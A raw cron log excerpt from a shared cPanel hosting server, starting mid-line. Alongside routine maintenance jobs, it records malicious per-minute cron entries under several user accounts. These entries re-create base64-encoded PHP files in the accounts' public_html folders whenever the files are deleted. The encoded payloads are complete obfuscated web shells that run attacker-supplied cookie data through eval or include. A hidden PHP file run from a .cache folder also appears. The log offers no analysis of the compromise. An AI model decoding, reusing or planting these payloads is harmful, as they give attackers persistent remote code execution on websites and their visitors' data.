coNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:34:01 medusa CROND[10654]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:35:01 medusa CROND[27043]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:35:01 medusa CROND[27054]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 10:35:01 medusa CROND[27058]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 10:35:01 medusa CROND[27066]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 10:35:01 medusa CROND[27159]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 10:35:01 medusa CROND[27211]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 10:35:01 medusa CROND[27343]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  2 10:35:01 medusa CROND[27440]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 10:35:01 medusa CROND[27443]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 10:35:01 medusa CROND[27447]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:35:01 medusa CROND[27457]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:35:01 medusa CROND[27456]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 10:35:01 medusa CROND[27460]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 10:35:01 medusa CROND[27466]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:35:01 medusa CROND[27469]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:35:01 medusa CROND[27472]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:35:01 medusa CROND[27473]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:35:01 medusa CROND[27458]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 10:35:01 medusa CROND[27478]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:35:01 medusa CROND[27464]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 10:35:01 medusa CROND[27487]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:35:01 medusa CROND[27461]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 10:35:01 medusa CROND[27488]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:35:01 medusa CROND[27493]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 10:35:01 medusa CROND[27501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:36:01 medusa CROND[12959]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:36:01 medusa CROND[12996]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 10:36:01 medusa CROND[13001]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:36:01 medusa CROND[13002]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:36:01 medusa CROND[13003]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 10:36:01 medusa CROND[13007]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:36:01 medusa CROND[13008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:36:01 medusa CROND[13004]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 10:36:01 medusa CROND[13011]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:36:01 medusa CROND[13012]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:36:01 medusa CROND[13018]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:36:01 medusa CROND[13026]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:36:01 medusa CROND[13027]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:36:01 medusa CROND[13029]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:37:01 medusa CROND[563]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:37:01 medusa CROND[567]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 10:37:01 medusa CROND[568]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:37:01 medusa CROND[566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:37:01 medusa CROND[570]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:37:01 medusa CROND[572]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 10:37:01 medusa CROND[574]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
